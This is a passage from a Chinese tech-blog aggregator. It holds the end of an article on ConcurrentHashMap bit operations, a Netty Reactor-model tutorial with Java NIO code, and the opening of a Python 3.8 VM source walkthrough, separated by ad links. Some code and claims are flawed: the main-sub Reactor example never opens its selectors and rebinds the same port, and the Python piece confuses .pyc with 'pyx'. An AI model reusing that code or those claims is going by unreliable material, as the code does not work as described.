因為(h ^ (h >>> 16))計算出來的hashcode,可能是負數。這裏,和 HASH_BITS進行了相與:

static final int HASH_BITS = 0x7fffffff; // usable bits of normal node hash
1111 1111 1111 1111 1111 1111 1111 1111   假設計算出來的hashcode為負數,因為第32位為1
0111 1111 1111 1111 1111 1111 1111 1111       0x7fffffff
    進行相與
0111 ..................................    

​ 這裏,第32位,因為0x7fffffff的第32位,總為0,所以相與后的結果,第32位也總為0 ,所以,這樣的話,hashcode就總是正數了,不會是負數。

concurrentHashMap中,node的hashcode,為啥不能是負數

當hashcode為正數時,表示該哈希桶為正常的鏈表結構。

當hashcode為負數時,有幾種情況:

ForwardingNode

此時,其hash值為:

    static final int MOVED     = -1; // hash for forwarding nodes

當節點為ForwardingNode類型時(表示哈希表在擴容進行中,該哈希桶已經被遷移到了新的臨時hash表,此時,要get的話,需要去臨時hash表查找;要put的話,是不行的,會幫助擴容)

TreeBin

    static final int TREEBIN   = -2; // hash for roots of trees

表示,該哈希桶,已經轉了紅黑樹。

擴容時的位運算

    /**
     * Returns the stamp bits for resizing a table of size n.
     * Must be negative when shifted left by RESIZE_STAMP_SHIFT.
     */
    static final int resizeStamp(int n) {
        return Integer.numberOfLeadingZeros(n) | (1 << (RESIZE_STAMP_BITS - 1));
    }

這裏,假設,n為4,即,hashmap中數組容量為4.

  • 下面這句,求4的二進製表示中,前面有多少個0.

    Integer.numberOfLeadingZeros(n)

    表示為32位后,如下

    0000 0000 0000 0000, 0000 0000 0000 0100

    所以,前面有29個0,即,這裏的結果為29.

  • (1 << (RESIZE_STAMP_BITS – 1)

    這一句呢,其中RESIZE_STAMP_BITS 是個常量,為16. 相當於,把1 向左移動15位。

    二進製為:

    1000 0000 0000 0000   -- 1 << 15
    

最終結果:

0000 0000 0000 0000 0000 0000 0001 1101   -- 29
0000 0000 0000 0000 1000 0000 0000 0000   -- 1 << 15
進行或運算

0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。

所以,最終結果是,

這個數,換算為10進制,為32972,是個正數。

這個數,有啥用呢?

在addCount函數中,當整個哈希表的鍵值對數量,超過sizeCtl時(一般為0.75 * 數組長度),就會觸發擴容。

java.util.concurrent.ConcurrentHashMap#addCount
    
int sc =  sizeCtl;
boolean bSumExteedSizeControl = newBaseCount >= (long) sc;
// 1
if (bContinue) {
    int rs = resizeStamp(n);
    // 2
    if (sc < 0) {
        if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
            sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
            transferIndex <= 0)
            break;
        if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
            transfer(tab, nt);
    }
    // 3
    else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                   (rs << RESIZE_STAMP_SHIFT) + 2))
        transfer(tab, null);
    newBaseCount = sumCount();
} else {
    break;
}
  • 1處,如果擴容條件滿足

  • 2處,如果sc小於0,這個sc是啥,就是前面說的sizeCtl,此時應該是等於:0.75 * 數組長度,不可能為負數

  • 3處,將sc(此時為正數),cas修改為:

    (rs << RESIZE_STAMP_SHIFT) + 2)
    

    這個數有點意思了,rs就是前面我們的resizeStamp得到的結果。

    按照前面的demo,我們拿到的結果為:

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
        
    

    因為

    private static int RESIZE_STAMP_BITS = 16;
    private static final int RESIZE_STAMP_SHIFT = 32 - RESIZE_STAMP_BITS;
    

    所以,RESIZE_STAMP_SHIFT 為16.

    0000 0000 0000 0000 1000 0000 0001 1101   --  相當於把29的第一位,變成了1,其他都沒變。
    1000 0000 0001 1101 0000 0000 0000 0000 ---   左移16位,即   rs << RESIZE_STAMP_SHIFT
    1000 0000 0001 1101 0000 0000 0000 0010    -- (rs << RESIZE_STAMP_SHIFT) + 2)
    

    最終,這個數,第一位是 1,說明了,這個數,肯定是負數。

    大家如果看過其他人寫的資料,也就知道,當sizeCtl為負數時,表示正在擴容。

    所以,這裏

    if (U.compareAndSwapInt(this, SIZECTL, sc,
                                (rs << RESIZE_STAMP_SHIFT) + 2))
    

    這句話就是,如果當前線程成功地,利用cas,將sizeCtl從正數,變成負數,就可以進行擴容。

    擴容時,其他線程怎麼執行

    // 1
    if (bContinue) {
        int rs = resizeStamp(n);
        // 2
        if (sc < 0) {
            // 2.1
            if ((sc >>> RESIZE_STAMP_SHIFT) != rs || sc == rs + 1 ||
                sc == rs + MAX_RESIZERS || (nt = nextTable) == null ||
                transferIndex <= 0)
                break;
            // 2.2
            if (U.compareAndSwapInt(this, SIZECTL, sc, sc + 1))
                transfer(tab, nt);
        }
        // 3
        else if (U.compareAndSwapInt(this, SIZECTL, sc,
                                       (rs << RESIZE_STAMP_SHIFT) + 2))
            transfer(tab, null);
        newBaseCount = sumCount();
    } else {
        break;
    }
    

    此時,因為上面的線程觸發了擴容,sc已經變成了負數了,此時,新的線程進來,會判斷2處。

    2處是滿足的,會進入2.1處判斷,這裏的部分條件看不懂,大概是:擴容已經結束,就不再執行,直接break

    否則,進入2.2處,輔助擴容,同時,把sc變成sc + 1,增加擴容線程數。

總結

時間倉促,如有問題,歡迎指出。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

※產品缺大量曝光嗎?你需要的是一流包裝設計!

台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

網絡編程-Netty-Reactor模型

目錄

  • # 摘要
  • 高性能服務器
  • Reactor模式
    • Reactor單線程模型設計
    • Reactor多線程模型設計
    • 主從Reactor多線程模型設計
    • Netty Reactor模型設計
  • 參考
  • 你的鼓勵也是我創作的動力
  • Posted by 微博@Yangsc_o
  • 原創文章,版權聲明:自由轉載-非商用-非衍生-保持署名 | Creative Commons BY-NC-ND 3.0

# 摘要

在前兩篇《快速理解Linux網絡I_O》、《java的I_O模型-BIO&NIO&AIO》兩邊中介紹了Linux下的I/O模型和java中的I/O模型,今天我們介紹Reactor模型,並探究Netty的實現

高性能服務器

在互聯網時代,我們使用的軟件基本上全是C/S架構,C/S架構的軟件一個明顯的好處就是:只要有網絡,你可以在任何地方干同一件事。C/S架構可以抽象為如下模型:

  • C就是Client(客戶端),上面的B是Browser(瀏覽器)
  • S就是Server(服務器):服務器管理某種資源,並且通過操作這種資源來為它的客戶端提供某種服務

那服務器如何能快速的處理用戶的請求呢?在我看來高性能服務器至少要滿足如下幾個需求:

  • 效率高:既然是高性能,那處理客戶端請求的效率當然要很高了
  • 高可用:不能隨便就掛掉了
  • 編程簡單:基於此服務器進行業務開發需要足夠簡單
  • 可擴展:可方便的擴展功能
  • 可伸縮:可簡單的通過部署的方式進行容量的伸縮,也就是服務需要無狀態

而滿足如上需求的一個基礎就是高性能的IO!

Reactor模式

什麼是Reactor模式?

兩種I/O多路復用模式:Reactor和Proactor,兩個與事件分離器有關的模式是Reactor和Proactor。Reactor模式採用同步IO,而Proactor採用異步IO。

在Reactor中,事件分離器負責等待文件描述符或socket為讀寫操作準備就緒,然後將就緒事件傳遞給對應的處理器,最後由處理器負責完成實際的讀寫工作。

在Proactor模式中,處理器–或者兼任處理器的事件分離器,只負責發起異步讀寫操作。IO操作本身由操作系統來完成。傳遞給操作系統的參數需要包括用戶定義的數據緩衝區地址和數據大小,操作系統才能從中得到寫出操作所需數據,或寫入從socket讀到的數據。事件分離器捕獲IO操作完成事件,然後將事件傳遞給對應處理器。

說人話的方式理解:

  • reactor:能收了你跟俺說一聲。
  • proactor: 你給我收十個字節,收好了跟俺說一聲。

Doug Lea是這樣類比的

  • Reactor通過調度適當的處理程序來響應IO事件;
  • 處理程序執行非阻塞操作
  • 通過將處理程序綁定到事件來管理;

Reactor單線程模型設計

單線程版本Java NIO的支持:

  • Channels:與支持非阻塞讀取的文件,套接字等的連接

  • Buffers:類似於數組的對象,可由Channels直接讀取或寫入

  • Selectors:通知一組通道中哪一個有IO事件

  • SelectionKeys:維護IO事件狀態和綁定

  • Reactor 代碼如下

public class Reactor implements Runnable {
    final Selector selector;
    final ServerSocketChannel serverSocketChannel;

    public Reactor(int port) throws IOException {
        selector = Selector.open();
        serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.socket().bind(new InetSocketAddress(port));
        serverSocketChannel.configureBlocking(false);
        SelectionKey key = serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
        key.attach(new Acceptor());
    }

    @Override
    public void run() {
        while (!Thread.interrupted()) {
            try {
                selector.select();
                Set<SelectionKey> selectionKeys = selector.selectedKeys();
                for (SelectionKey selectionKey : selectionKeys) {
                    dispatch(selectionKey);
                }
                selectionKeys.clear();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    private void dispatch(SelectionKey selectionKey) {
        Runnable run = (Runnable) selectionKey.attachment();
        if (run != null) {
            run.run();
        }
    }

    class Acceptor implements Runnable {
        @Override
        public void run() {
            try {
                SocketChannel channel = serverSocketChannel.accept();
                if (channel != null) {
                    new Handler(selector, channel);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws IOException {
        new Thread(
                new Reactor(1234)
        ).start();
    }

}
  • Handler代碼如下:
public class Handler implements Runnable{
    private final static int DEFAULT_SIZE = 1024;
    private final SocketChannel socketChannel;
    private final SelectionKey seletionKey;
    private static final int READING = 0;
    private static final int SENDING = 1;
    private int state = READING;

    ByteBuffer inputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);
    ByteBuffer outputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);

    public Handler(Selector selector, SocketChannel channel) throws IOException {
        this.socketChannel = channel;
        socketChannel.configureBlocking(false);
        this.seletionKey = socketChannel.register(selector, 0);
        seletionKey.attach(this);
        seletionKey.interestOps(SelectionKey.OP_READ);
        selector.wakeup();
    }

    @Override
    public void run() {
        if (state == READING) {
            read();
        } else if (state == SENDING) {
            write();
        }
    }


    private void write() {
        try {
            socketChannel.write(outputBuffer);
        } catch (IOException e) {
            e.printStackTrace();
        }
        while (outIsComplete()) {
            seletionKey.cancel();
        }
    }

    private void read() {
        try {
            socketChannel.read(inputBuffer);
            if (inputIsComplete()) {
                process();
                System.out.println("接收到來自客戶端(" + socketChannel.socket().getInetAddress().getHostAddress()
                        + ")的消息:" + new String(inputBuffer.array()));
                seletionKey.attach(new Sender());
                seletionKey.interestOps(SelectionKey.OP_WRITE);
                seletionKey.selector().wakeup();
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public boolean inputIsComplete() {
        return true;
    }
    public boolean outIsComplete() {
        return true;
    }


    public void process() {
        // do something...
    }

    class Sender implements Runnable {
        @Override
        public void run() {
            try {
                socketChannel.write(outputBuffer);
            } catch (IOException e) {
                e.printStackTrace();
            }
            if (outIsComplete()) {
                seletionKey.cancel();
            }
        }
    }

}

這個模型和上面的NIO流程很類似,只是將消息相關處理獨立到了Handler中去了!雖然說到NIO一個線程就可以支持所有的IO處理。但是瓶頸也是顯而易見的!如果這個客戶端多次進行請求,如果在Handler中的處理速度較慢,那麼後續的客戶端請求都會被積壓,導致響應變慢!所以引入了Reactor多線程模型!

Reactor多線程模型設計

Reactor多線程模型就是將Handler中的IO操作和非IO操作分開,操作IO的線程稱為IO線程,非IO操作的線程稱為工作線程!這樣的話,客戶端的請求會直接被丟到線程池中,客戶端發送請求就不會堵塞!

Reactor保持不變,僅需要改動Handler代碼:

public class Handler implements Runnable{
    private final static int DEFAULT_SIZE = 1024;
    private final SocketChannel socketChannel;
    private final SelectionKey seletionKey;
    private static final int READING = 0;
    private static final int SENDING = 1;
    private int state = READING;

    ByteBuffer inputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);
    ByteBuffer outputBuffer = ByteBuffer.allocate(DEFAULT_SIZE);

    private static ExecutorService executorService = Executors.newFixedThreadPool(Runtime.getRuntime()
            .availableProcessors());
    private static final int PROCESSING = 3;
    private Selector selector;


    public Handler(Selector selector, SocketChannel channel) throws IOException {
        this.selector = selector;
        this.socketChannel = channel;
        socketChannel.configureBlocking(false);
        this.seletionKey = socketChannel.register(selector, 0);
        seletionKey.attach(this);
        seletionKey.interestOps(SelectionKey.OP_READ);
        selector.wakeup();
    }

    @Override
    public void run() {
        if (state == READING) {
            read();
        } else if (state == SENDING) {
            write();
        }
    }

    private void write() {
        try {
            socketChannel.write(outputBuffer);
        } catch (IOException e) {
            e.printStackTrace();
        }
        while (outIsComplete()) {
            seletionKey.cancel();
        }
    }

    private void read() {
        try {
            socketChannel.read(inputBuffer);
            if (inputIsComplete()) {
                process();
                executorService.execute(new Processer());
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public boolean inputIsComplete() {
        return true;
    }
    public boolean outIsComplete() {
        return true;
    }


    public void process() {
        // do something...
    }

    class Sender implements Runnable {
        @Override
        public void run() {
            try {
                socketChannel.write(outputBuffer);
            } catch (IOException e) {
                e.printStackTrace();
            }
            if (outIsComplete()) {
                seletionKey.cancel();
            }
        }
    }

    synchronized void processAndHandOff() {
        process();
        // or rebind attachment
        state = SENDING;
        seletionKey.interestOps(SelectionKey.OP_WRITE);
        selector.wakeup();
    }

    class Processer implements Runnable {
        @Override
        public void run() {
            processAndHandOff();
        }
    }

}

主從Reactor多線程模型設計

主從Reactor多線程模型是將Reactor分成兩部分,mainReactor負責監聽server socket,accept新連接,並將建立的socket分派給subReactor。subReactor負責多路分離已連接的socket,讀寫網絡數據,對業務處理功能,其扔給worker線程池完成。通常,subReactor個數上可與CPU個數等同:

Handler保持不變,僅需要改動Reactor代碼:

public class Reactor {
    // also create threads
    Selector[] selectors;
    AtomicInteger next = new AtomicInteger(0);
    final ServerSocketChannel serverSocketChannel;

    private static ExecutorService sunReactors = Executors.newFixedThreadPool(Runtime.getRuntime()
            .availableProcessors());
    private static final int PROCESSING = 3;

    public Reactor(int port) throws IOException {
        serverSocketChannel = ServerSocketChannel.open();
        serverSocketChannel.socket().bind(new InetSocketAddress(port));
        serverSocketChannel.configureBlocking(false);
        selectors = new Selector[4];
        for (int i = 0; i < selectors.length; i++) {
            Selector selector = selectors[i];
            serverSocketChannel.socket().bind(new InetSocketAddress(port));
            serverSocketChannel.configureBlocking(false);
            SelectionKey key = serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
            key.attach(new Acceptor());
            new Thread(()->{
                while (!Thread.interrupted()) {
                    try {
                        selector.select();
                        Set<SelectionKey> selectionKeys = selector.selectedKeys();
                        for (SelectionKey selectionKey : selectionKeys) {
                            dispatch(selectionKey);
                        }
                        selectionKeys.clear();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }).start();
        }
    }



    private void dispatch(SelectionKey selectionKey) {
        Runnable run = (Runnable) selectionKey.attachment();
        if (run != null) {
            run.run();
        }
    }

    class Acceptor implements Runnable {
        @Override
        public void run() {
            try {
                SocketChannel channel = serverSocketChannel.accept();
                if (channel != null) {
                    sunReactors.execute(new Handler(selectors[next.getAndIncrement() % selectors.length], channel));
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }

    public static void main(String[] args) throws IOException {
        new Reactor(1234);
    }

}

以上是三種不同的設計思路,接下來看一下Netty這個一個高性能NIO框架,其是如何實現Reactor模型的!

Netty Reactor模型設計

  • 看一個最簡單的Netty服務端代碼
public final class EchoServer {
    static final int PORT = Integer.parseInt(System.getProperty("port", "8007"));
    public static void main(String[] args) throws Exception {
        // Configure the server.
        EventLoopGroup bossGroup = new NioEventLoopGroup(1);
        EventLoopGroup workerGroup = new NioEventLoopGroup();
        final EchoServerHandler serverHandler = new EchoServerHandler();
        try {
            ServerBootstrap b = new ServerBootstrap();
            b.group(bossGroup, workerGroup)
             .channel(NioServerSocketChannel.class)
             .option(ChannelOption.SO_BACKLOG, 100)
             .handler(new LoggingHandler(LogLevel.INFO))
             .childHandler(new ChannelInitializer<SocketChannel>() {
                 @Override
                 public void initChannel(SocketChannel ch) throws Exception {
                     ChannelPipeline p = ch.pipeline();
                     p.addLast(serverHandler);
                 }
             });
            ChannelFuture f = b.bind(PORT).sync();
            f.channel().closeFuture().sync();
        } finally {
            bossGroup.shutdownGracefully();
            workerGroup.shutdownGracefully();
        }
    }
}
  • Netty Server Handler
public class EchoServerHandler extends ChannelInboundHandlerAdapter {

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) {
        ctx.write(msg);
    }

    @Override
    public void channelReadComplete(ChannelHandlerContext ctx) {
        ctx.flush();
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
        // Close the connection when an exception is raised.
        cause.printStackTrace();
        ctx.close();
    }
}

我們從Netty服務器代碼來看,與Reactor模型進行對應!

  • EventLoopGroup就相當於是Reactor,bossGroup對應主Reactor,workerGroup對應從Reactor
  • TimeServerHandler就是Handler
  • child開頭的方法配置的是客戶端channel,非child開頭的方法配置的是服務端channel

當然Netty的線程模型並不是固定的,它支持Reactor單線程模型、Reactor多線程模型、主從模型,上面的例子是一個主從模型的,下面進行詳細的分析,如圖所示:

服務啟動時,創建了兩個EventLoopGroup,它們實際上是兩個Reactor線程池,一個用於接收TCP連接、一個用於處理I/O相關的讀寫操作、或者執行系統task、定時task等;

  • Netty用於接收客戶端請求連接池職責如下:
    • 接收客戶端請求並初始化channel參數;
    • 講鏈路變更事件通知給ChannelPipiline;
  • Netty用於處理I/O連接池職責如下:
    • 異步讀取通信對端的數據報,發送讀事件到ChannelPipiline;
    • 異步發送消息對端的數據報,調用ChannelPipiline的消息發送接口;
    • 執行系統調用task;
    • 執行系統定時任務task,例如鏈路空閑狀態檢測定時任務;

參考

Scalable IO in Java

高性能Server—Reactor模型

NIO技術概覽

《Netty 權威指南》第二版 — 李林峰

你的鼓勵也是我創作的動力

打賞地址

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

※產品缺大量曝光嗎?你需要的是一流包裝設計!

※推薦台中搬家公司優質服務,可到府估價

python3 源碼閱讀-虛擬機運行原理

閱讀源碼版本python 3.8.3

參考書籍<<Python源碼剖析>>

參考書籍<<Python學習手冊 第4版>>

官網文檔目錄介紹

  1. Doc目錄主要是官方文檔的說明。
  2. Include:目錄主要包括了Python的運行的頭文件。
  3. Lib:目錄主要包括了用Python實現的標準庫。
  4. Modules: 該目錄中包含了所有用C語言編寫的模塊,比如random、cStringIO等。Modules中的模塊是那些對速度要求非常嚴格的模塊,而有一些對速度沒有太嚴格要求的模塊,比如os,就是用Python編寫,並且放在Lib目錄下的
  5. Objects:該目錄中包含了所有Python的內建對象,包括整數、list、dict等。同時,該目錄還包括了Python在運行時需要的所有的內部使用對象的實現。
  6. Parser:該目錄中包含了Python解釋器中的Scanner和Parser部分,即對Python源碼進行詞法分析和語法分析的部分。除了這些,Parser目錄下還包含了一些有用的工具,這些工具能夠根據Python語言的語法自動生成Python語言的詞法和語法分析器,將python文件編譯生成語法樹等相關工作。
  7. Programs目錄主要包括了python的入口函數。
  8. Python:目錄主要包括了Python動態運行時執行的代碼,裡面包括編譯、字節碼解釋器等工作。

1. 總體架構

  • Runtime Env:python運行時環境,初始化對象/類型系統(Object/Type structures),內存分配器(Memory Allocator) 和 運行時狀態信息 (Current state of Python)。運行時狀態維護了解釋器在執行字節碼時不同的狀態(如正常和異常)之間的切換動作,可以視為一個巨大而複雜的有窮狀態機。內存管理機制可參考另外一篇文章Python3 源碼閱讀 – 內存管理機制。

  • Python Core: 中間部分是python的核心—-解釋器(PyInterpreter), 也可以成為PVM。大致流程就是 先對.py程序進行此法分析,將文件輸入的源代碼或從命令行輸入的一行行python代碼切分一個個Token, 然後使用Parser進行語法分析,建立抽象語法樹(AST), Compiler根據AST生成字節碼指令集合,最後由Code Evaluator來執行這些字節碼。

  • File Groups: Python Lib庫和用戶自己的模塊包等源代碼文件

2. Run Python文件的啟動流程

Python啟動是由Programs下的python.c文件中的main函數開始執行

/* Minimal main program -- everything is loaded from the library */

#include "Python.h"
#include "pycore_pylifecycle.h"

#ifdef MS_WINDOWS
int
wmain(int argc, wchar_t **argv)
{
    return Py_Main(argc, argv);
}
#else
int
main(int argc, char **argv)
{
    return Py_BytesMain(argc, argv);
}
#endif
int
Py_Main(int argc, wchar_t **argv) {
    ...
    return pymian_main(&args);
}

static int
pymain_main(_PyArgv *args)
{
    PyStatus status = pymain_init(args);  // 初始化
    if (_PyStatus_IS_EXIT(status)) {
        pymain_free();
        return status.exitcode;
    }
    if (_PyStatus_EXCEPTION(status)) {
        pymain_exit_error(status);
    }

    return Py_RunMain();
}

2.1 初始化關鍵流程

  • 初始化一些與配置項 如:開啟utf-8模式,設置Python內存分配器
  • 初始化pyinit_core核心部分
    • 創建生命周期 pycore_init_runtime, 同時生成HashRandom
    • 初始化線程和解釋器並創建GIL鎖 pycore_create_interpreter
    • 初始化所有基礎類型,list, int, tuple等 pycore_init_types
    • 初始化sys模塊 _PySys_Create
    • 初始化內建函數或者對象,如map, None, True等 pycore_init_builtins
      • 其中包括內建的錯誤類型初始化 _PyBuiltins_AddExceptions

Python3.8 對Python解釋器的初始化做了重構PEP 587-Python初始化配置

2.2 run 相關源碼閱讀

int
Py_RunMain(void)
{
    int exitcode = 0;
	
    pymain_run_python(&exitcode);  //執行python腳本

	if (Py_FinalizeEx() < 0) {  // 釋放資源
        /* Value unlikely to be confused with a non-error exit status or
           other special meaning */
        exitcode = 120;
    }

    pymain_free();   // 釋放資源

    if (_Py_UnhandledKeyboardInterrupt) {
        exitcode = exit_sigint();
    }

    return exitcode;
}


static void
pymain_run_python(int *exitcode)
{   
    // 獲取一個持有GIL鎖的解釋器
    PyInterpreterState *interp = _PyInterpreterState_GET_UNSAFE();
    /* pymain_run_stdin() modify the config */
    ... // 添加sys_path等操作

    if (config->run_command) {
        // 命令行模式
        *exitcode = pymain_run_command(config->run_command, &cf); 
    }
    else if (config->run_module) {
        // 模塊名
        *exitcode = pymain_run_module(config->run_module, 1);
    }
    else if (main_importer_path != NULL) {
        *exitcode = pymain_run_module(L"__main__", 0);
    }
    else if (config->run_filename != NULL) {
        // 文件名
        *exitcode = pymain_run_file(config, &cf);
    }
    else {
        *exitcode = pymain_run_stdin(config, &cf);
    }

	...
}

/* Parse input from a file and execute it */ //Python/pythonrun.c
int
PyRun_AnyFileExFlags(FILE *fp, const char *filename, int closeit,
                     PyCompilerFlags *flags)
{
    if (filename == NULL)
        filename = "???";
    if (Py_FdIsInteractive(fp, filename)) {
        int err = PyRun_InteractiveLoopFlags(fp, filename, flags);  // 是否是交互模式
        if (closeit)
            fclose(fp);
        return err;
    }
    else
        return PyRun_SimpleFileExFlags(fp, filename, closeit, flags);   // 執行腳本
}

// 執行python .py文件
int
PyRun_SimpleFileExFlags(FILE *fp, const char *filename, int closeit,
                        PyCompilerFlags *flags)
{
    ...
    if (maybe_pyc_file(fp, filename, ext, closeit)) {
        FILE *pyc_fp;
        /* Try to run a pyc file. First, re-open in binary */
        ...
        v = run_pyc_file(pyc_fp, filename, d, d, flags);
    } else {
        /* When running from stdin, leave __main__.__loader__ alone */
        ...
        v = PyRun_FileExFlags(fp, filename, Py_file_input, d, d,
                              closeit, flags);
    }
    ...
}

PyObject *
PyRun_FileExFlags(FILE *fp, const char *filename_str, int start, PyObject *globals,
                  PyObject *locals, int closeit, PyCompilerFlags *flags)
{
    ...
    // // 解析傳入的腳本,解析成AST
    mod = PyParser_ASTFromFileObject(fp, filename, NULL, start, 0, 0,
                                     flags, NULL, arena); 
    ...
    // 將AST編譯成字節碼然後啟動字節碼解釋器執行編譯結果
    ret = run_mod(mod, filename, globals, locals, flags, arena);
    ...
}

// 查看run_mode
static PyObject *
run_mod(mod_ty mod, PyObject *filename, PyObject *globals, PyObject *locals,
            PyCompilerFlags *flags, PyArena *arena)
{
    ...
    // 將AST編譯成字節碼
    co = PyAST_CompileObject(mod, filename, flags, -1, arena);  
    ...

    // 解釋執行編譯的字節碼
    v = run_eval_code_obj(co, globals, locals);
    Py_DECREF(co);
    return v;
}

2.3 字節碼查看案例

新建test.py

def show(a):
    return  a


if __name__ == "__main__":
    print(show(10))

執行命令: python3 -m dis test.py

λ ppython3 -m dis test.py
  3           0 LOAD_CONST               0 (<code object show at 0x000000E7FC89E270, file "test.py", line 3>)
              2 LOAD_CONST               1 ('show')
              4 MAKE_FUNCTION            0
              6 STORE_NAME               0 (show)

  7           8 LOAD_NAME                1 (__name__)
             10 LOAD_CONST               2 ('__main__')
             12 COMPARE_OP               2 (==)
             14 POP_JUMP_IF_FALSE       28

  8          16 LOAD_NAME                2 (print)
             18 LOAD_NAME                0 (show)
             20 LOAD_CONST               3 (10)
             22 CALL_FUNCTION            1
             24 CALL_FUNCTION            1
             26 POP_TOP
        >>   28 LOAD_CONST               4 (None)

左邊3, 7, 8表示 test.py中的第一行和第二行,右邊表示python byte code

Include/opcode.h 發現總共有 163 個 opcode, 所有的 python 源文件(Lib庫中的文件)都會被編譯器翻譯成由 opcode 組成的 pyx 文件,並緩存在執行目錄,下次啟動程序如果源代碼沒有修改過,則直接加載這個pyx文件,這個文件的存在可以加快 python 的加載速度。普通.py文件如我們的test.py 是直接進行編譯解釋執行的,不會生成.pyc文件,想生成test.pyc 需要使用python內置的py_compile模塊來編譯該文件,或者執行命令python3 -m test.py python生成.pyc文件

嚴格意義上來說: 只有文件導入import 的情況下字節碼.pyc文件才會保存下來,__pycache__ — 《python學習手冊(第四版) Page40》

2.4 python中的code對象

字節碼在python虛擬機中對應的是PyCodeObject對象, .pyc文件是字節碼在磁盤上的表現形式。python編譯的過程中,一個代碼塊就對應一個code對象,那麼如何確定多少代碼算是一個Code Block呢? 編譯過程中遇到一個新的命名空間或者作用域時就生成一個code對象,即類或函數都是一個代碼塊,一個code的類型結構就是PyCodeObject, 參考Junnplus

/* Bytecode object */
typedef struct {
    PyObject_HEAD
    int co_argcount;            /* #arguments, except *args */     // 位置參數的個數,
    int co_posonlyargcount;     /* #positional only arguments */  
    int co_kwonlyargcount;      /* #keyword only arguments */
    int co_nlocals;             /* #local variables */
    int co_stacksize;           /* #entries needed for evaluation stack */
    int co_flags;               /* CO_..., see below */
    int co_firstlineno;         /* first source line number */
    PyObject *co_code;          /* instruction opcodes */
    PyObject *co_consts;        /* list (constants used) */
    PyObject *co_names;         /* list of strings (names used) */
    PyObject *co_varnames;      /* tuple of strings (local variable names) */
    PyObject *co_freevars;      /* tuple of strings (free variable names) */
    PyObject *co_cellvars;      /* tuple of strings (cell variable names) */
    /* The rest aren't used in either hash or comparisons, except for co_name,
       used in both. This is done to preserve the name and line number
       for tracebacks and debuggers; otherwise, constant de-duplication
       would collapse identical functions/lambdas defined on different lines.
    */
    Py_ssize_t *co_cell2arg;    /* Maps cell vars which are arguments. */
    PyObject *co_filename;      /* unicode (where it was loaded from) */
    PyObject *co_name;          /* unicode (name, for reference) */
    PyObject *co_lnotab;        /* string (encoding addr<->lineno mapping) See
                                   Objects/lnotab_notes.txt for details. */
    void *co_zombieframe;       /* for optimization only (see frameobject.c) */
    PyObject *co_weakreflist;   /* to support weakrefs to code objects */
    /* Scratch space for extra data relating to the code object.
       Type is a void* to keep the format private in codeobject.c to force
       people to go through the proper APIs. */
    void *co_extra;

    /* Per opcodes just-in-time cache
     *
     * To reduce cache size, we use indirect mapping from opcode index to
     * cache object:
     *   cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
     */

    // co_opcache_map is indexed by (next_instr - first_instr).
    //  * 0 means there is no cache for this opcode.
    //  * n > 0 means there is cache in co_opcache[n-1].
    unsigned char *co_opcache_map;
    _PyOpcache *co_opcache;
    int co_opcache_flag;  // used to determine when create a cache.
    unsigned char co_opcache_size;  // length of co_opcache.
} PyCodeObject;
Field Content Type
co_argcount Code Block 的參數個數 PyIntObject
co_posonlyargcount Code Block 的位置參數個數 PyIntObject
co_kwonlyargcount Code Block 的關鍵字參數個數 PyIntObject
co_nlocals Code Block 中局部變量的個數 PyIntObject
co_stacksize Code Block 的棧大小 PyIntObject
co_flags N/A PyIntObject
co_firstlineno Code Block 對應的 .py 文件中的起始行號 PyIntObject
co_code Code Block 編譯所得的字節碼 PyBytesObject
co_consts Code Block 中的常量集合 PyTupleObject
co_names Code Block 中的符號集合 PyTupleObject
co_varnames Code Block 中的局部變量名集合 PyTupleObject
co_freevars Code Block 中的自由變量名集合 PyTupleObject
co_cellvars Code Block 中嵌套函數所引用的局部變量名集合 PyTupleObject
co_cell2arg N/A PyTupleObject
co_filename Code Block 對應的 .py 文件名 PyUnicodeObject
co_name Code Block 的名字,通常是函數名/類名/模塊名 PyUnicodeObject
co_lnotab Code Block 的字節碼指令於 .py 文件中 source code 行號對應關係 PyBytesObject
co_opcache_map python3.8新增字段,存儲字節碼索引與CodeBlock對象的映射關係 PyDictObject

2.4.1 LOAD_CONST

// Python\ceval.c
PREDICTED(LOAD_CONST);     -> line 943: #define PREDICTED(op)           PRED_##op:
FAST_DISPATCH();           -> line 876 #define FAST_DISPATCH() goto fast_next_opcode

額外收穫: c 語言中 ##和# 號 在marco 里的作用可以參考 這篇

在宏定義里, ## 被稱為連接符(concatenator) , a##b 表示將ab連接起來

a 表示把a轉換成字符串,即加雙引號,

所以LONAD_CONST這個指領根據宏定義展開如下:

case TARGET(LOAD_CONST): {
    PRED_LOAD_CONST:
    PyObject *value = GETITEM(consts, oparg); // 獲取一個PyObject* 指針對象
